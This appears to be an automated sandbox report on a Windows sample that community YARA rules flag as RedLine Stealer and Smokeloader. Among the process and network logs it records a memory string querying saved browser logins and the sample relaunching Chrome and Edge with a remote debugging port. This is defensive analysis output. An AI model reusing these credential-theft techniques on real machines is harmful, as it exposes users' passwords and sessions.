Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936

Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.5:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.72:443 -> 192.168.2.5:49832 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.72:443 -> 192.168.2.5:49843 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.5:49959 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.72:443 -> 192.168.2.5:49987 version: TLS 1.2

Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe

Code function: 0_2_00409E30 memset,wsprintfA,OpenDesktopA,CreateDesktopA,memset,lstrcatA,lstrcatA,lstrcatA,memset,lstrcpy,memset,CreateProcessA,Sleep,CloseDesktop,

0_2_00409E30

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000000.00000002.2754231192.0000000002C49000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.2754655975.0000000004840000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown

Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe

Code function: 0_2_6C8E0DE0 NtWriteFile,WaitForSingleObject,RtlNtStatusToDosError,

0_2_6C8E0DE0

Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_6C8DCC11	0_2_6C8DCC11
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_6C8EEC60	0_2_6C8EEC60
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_6C8CFDA0	0_2_6C8CFDA0
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_6C8A5DB0	0_2_6C8A5DB0
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_6C8C9DF1	0_2_6C8C9DF1
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_6C8DED70	0_2_6C8DED70
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_6C8BCEB0	0_2_6C8BCEB0
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_6C8C8E00	0_2_6C8C8E00
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_6C8E5F20	0_2_6C8E5F20
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_6C8C88A0	0_2_6C8C88A0
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_6C8CF8E0	0_2_6C8CF8E0
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_6C8CD8F0	0_2_6C8CD8F0
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_6C8E390E	0_2_6C8E390E
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_6C8E4BC0	0_2_6C8E4BC0
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_6C8E8BE0	0_2_6C8E8BE0
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_6C8B85E0	0_2_6C8B85E0
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_6C8E15E0	0_2_6C8E15E0
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_6C8A257C	0_2_6C8A257C
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_6C8EE680	0_2_6C8EE680
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_6C8EA7D1	0_2_6C8EA7D1
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_6C8A27E0	0_2_6C8A27E0
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_6C8BA700	0_2_6C8BA700
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_6C8FD735	0_2_6C8FD735
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_6C8D1758	0_2_6C8D1758
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_6C8B40D0	0_2_6C8B40D0
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_6C8CF1D0	0_2_6C8CF1D0
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_6C8A6170	0_2_6C8A6170
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_6C8E2290	0_2_6C8E2290
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_6C8B82C0	0_2_6C8B82C0
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_6C8F13D6	0_2_6C8F13D6
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_6C8FF340	0_2_6C8FF340
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_61EAD2AC	0_2_61EAD2AC
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_61E4B8A1	0_2_61E4B8A1
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_61E75F1F	0_2_61E75F1F
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_61E40065	0_2_61E40065
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_61E9E24F	0_2_61E9E24F
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_61E5023C	0_2_61E5023C
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_61E62554	0_2_61E62554
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_61E9A4A7	0_2_61E9A4A7
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_61E4E4BF	0_2_61E4E4BF
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_61E94783	0_2_61E94783
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_61E7A790	0_2_61E7A790
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_61E18736	0_2_61E18736
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_61E86668	0_2_61E86668
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_61E58670	0_2_61E58670
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_61E10856	0_2_61E10856
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_61EA0BA9	0_2_61EA0BA9
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_61E62CA3	0_2_61E62CA3
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_61E98FE2	0_2_61E98FE2
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_61E88FCA	0_2_61E88FCA
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_61E52F80	0_2_61E52F80
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_61EA2F47	0_2_61EA2F47
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_61E56F18	0_2_61E56F18
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_61E4CEF9	0_2_61E4CEF9
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_61E1EEFF	0_2_61E1EEFF

Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: String function: 00404610 appears 317 times
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: String function: 6C8ED850 appears 90 times
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: String function: 6C8F1380 appears 33 times
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: String function: 6C8FFDB0 appears 38 times

Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 3056 -s 1876

Source: 5BQwrSLxIZ.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000000.00000002.2754231192.0000000002C49000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.2754655975.0000000004840000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23

Source: 5BQwrSLxIZ.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@29/42@6/7

Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe

Code function: 0_2_00418810 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

0_2_00418810

Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe

Code function: 0_2_00413970 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_00413970

Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\43UAGR8L.htm

Jump to behavior

Source: C:\Windows\SysWOW64\WerFault.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess3056

Source: C:\Windows\SysWOW64\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\8985e942-c517-4ec6-8330-4a423323061c

Jump to behavior

Source: 5BQwrSLxIZ.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 5BQwrSLxIZ.exe, 00000000.00000002.2771316744.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 5BQwrSLxIZ.exe, 00000000.00000002.2767400971.000000001D3A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: 5BQwrSLxIZ.exe, 00000000.00000002.2771316744.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 5BQwrSLxIZ.exe, 00000000.00000002.2767400971.000000001D3A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: 5BQwrSLxIZ.exe, 00000000.00000002.2771316744.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 5BQwrSLxIZ.exe, 00000000.00000002.2767400971.000000001D3A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: chrome.exe, 00000002.00000002.2304517011.0000279002B1D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE psl_extensions (domain VARCHAR NOT NULL, UNIQUE (domain));
Source: 5BQwrSLxIZ.exe, 00000000.00000002.2771316744.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 5BQwrSLxIZ.exe, 00000000.00000002.2767400971.000000001D3A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: 5BQwrSLxIZ.exe, 00000000.00000002.2754327165.0000000002CBF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT origin_url, username_value, password_value FROM logins;
Source: 5BQwrSLxIZ.exe, 00000000.00000002.2771316744.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 5BQwrSLxIZ.exe, 00000000.00000002.2767400971.000000001D3A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: 5BQwrSLxIZ.exe, 00000000.00000002.2771316744.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 5BQwrSLxIZ.exe, 00000000.00000002.2767400971.000000001D3A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: 5BQwrSLxIZ.exe, 00000000.00000002.2771316744.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 5BQwrSLxIZ.exe, 00000000.00000002.2767400971.000000001D3A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: 5BQwrSLxIZ.exe, 00000000.00000003.2277382071.000000002355B000.00000004.00000020.00020000.00000000.sdmp, CAKKKFBFIDGDBFHJJEHI.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: 5BQwrSLxIZ.exe, 00000000.00000002.2771316744.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 5BQwrSLxIZ.exe, 00000000.00000002.2767400971.000000001D3A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: 5BQwrSLxIZ.exe, 00000000.00000002.2771316744.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 5BQwrSLxIZ.exe, 00000000.00000002.2767400971.000000001D3A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);

Source: 5BQwrSLxIZ.exe

ReversingLabs: Detection: 34%

Source: unknown	Process created: C:\Users\user\Desktop\5BQwrSLxIZ.exe "C:\Users\user\Desktop\5BQwrSLxIZ.exe"
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2348 --field-trial-handle=2124,i,623430963547524201,12155014114524219740,262144 /prefetch:8
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2788 --field-trial-handle=2428,i,8417053299692469591,16795964137482112875,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=952 --field-trial-handle=2052,i,5172159360179937622,2345701733477799989,262144 /prefetch:3
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 3056 -s 1876
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2348 --field-trial-handle=2124,i,623430963547524201,12155014114524219740,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2788 --field-trial-handle=2428,i,8417053299692469591,16795964137482112875,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=952 --field-trial-handle=2052,i,5172159360179937622,2345701733477799989,262144 /prefetch:3	Jump to behavior

